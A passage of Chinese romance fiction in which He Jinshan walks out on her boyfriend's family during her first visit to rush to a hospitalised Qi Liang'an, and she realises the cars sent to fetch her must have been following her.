“饭都不吃一口啊俊延媳妇?” “就是啊,新媳妇上门哪有刚来就走的,还想不想进门了?” 贺矜善心中不悦,却也来不及理睬,低头拿包。 “二叔三叔!”谢俊延开口这么说了句,原本就没有任何批判词语的话里,语气也只有无奈,并没有恼怒和气愤,明显对二叔三叔也没什么威慑力。 “嗐!说她两句怎么了?大学生了不起啊?” “就是,等过了门——” “三叔!” “我先走了,你家里还有客人,不用送我。”贺矜善拿好包,和谢俊延说了句,转身往外大步走着,拿出手机约之前从镇上送她们过来那个师傅的车。 “矜善!” 谢俊延追出来拉她,语气里已有不满:“矜善,今天是你第一次来我家,就算阿姨让你回去,你至少也吃了饭再走吧?我去你家的时候对你爸妈可是毕恭毕敬,你觉得这样合适吗?” 贺矜善停下脚步,放下手机皱着眉认真和他解释:“俊延,今天的事确实是我做的不对,我向你道歉,但是事发突然,我真的不得不走,下次再来向叔叔阿姨赔罪。” 谢俊延伸手拉住她:“那到底是什么事?你说清楚。” 贺矜善一只手被他拉着,用另一只手拨打着电话,对方没有立刻接起来。 贺矜善拧着眉看他一会儿,还是抱有希望和他说了实话:“是祁良安出事了,我妈说让我赶紧回去一趟。” “祁良安出事?”谢俊延冷笑一声,手上力度加大,“你确定是阿姨叫你回去,而不是你自己急着回去?” “有区别吗?”贺矜善手臂被捏痛,试着挣开,“祁良安在我家出了事,我理所应当要回去的!” “贺矜善。”谢俊延拉着她不松手,“你还记得你自己是谁吗?” “喂?俊 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“好,我现在就跟你们走。” 贺矜善努力去挣开谢俊延的手,壮汉看谢俊延还不松手,冷脸怒视着他:“这位先生是想阻拦吗?” 壮汉抬手做了个动作,又有几辆黑色轿车从后面驶来,车窗摇下,每一辆都坐满了人。 贺矜善心里着急祁良安,但谢俊延到底也是自己谈了三年的男朋友,虽然可能从今天起也就彻底截止在三年了,但毕竟在这段时间之前,他对她都还算是好,她没有直接甩开他:“谢俊延,我们就这样了吧,麻烦松手。” 谢俊延家里的人大概也是听见了动静,骂骂咧咧地出来,看见这么五六辆车的人挤在门口,瞬间哑了声。 谢俊延最后看了眼贺矜善,还是放开了她。 “贺矜善,今天我可以让你走,但之后,你必须给我一个解释。” “好。”贺矜善看着他答应一句,转身上了车。 车上贺矜善先是给祁胜与打电话问祁良安到底什么情况,祁胜与却说他也不是很清楚,他也正在往圆茶市赶。 贺矜善当时还没想那么多,直接就给贺母打电话,说自己已经在回来的路上,问祁良安怎么样了,贺母说已经送他去了医院,具体的事还不清楚。 然后贺母问她现在能买到票吗,贺矜善直接就说自己坐的祁胜与安排的车回来。 下一秒,她才意识到一个问题。 如果祁胜与也是刚知道祁良安出事,自己都还在赶过来的路上,那么常棉离圆茶比云霞离圆茶还要远,他是怎么做到让这一行车这样及时地出现在谢俊延家门口的呢? 瞬移当然是不可能的,所以,这些车是跟着她过来的。 祁胜与不知情的话,就只剩下祁良安。 - 医院里,贺矜善找到祁良安所在的单人病房。 据贺母所说,祁良安是突然发作的,没有任何诱因,当时贺母正打算叫他吃饭,就看见他扶着墙一脸痛苦的样子,再然后就倒地不起了。 送到医院之后做了检查,没有查出任何问题,祁胜与和医生说了一下祁良安之前的情况,医生说不排除是心理问题,最好是再住院观察一下。 贺矜善来了之后就一直守着他,大概守了有半个多小时,病床上的祁良安悠悠转醒。 “姐姐……是你吗?”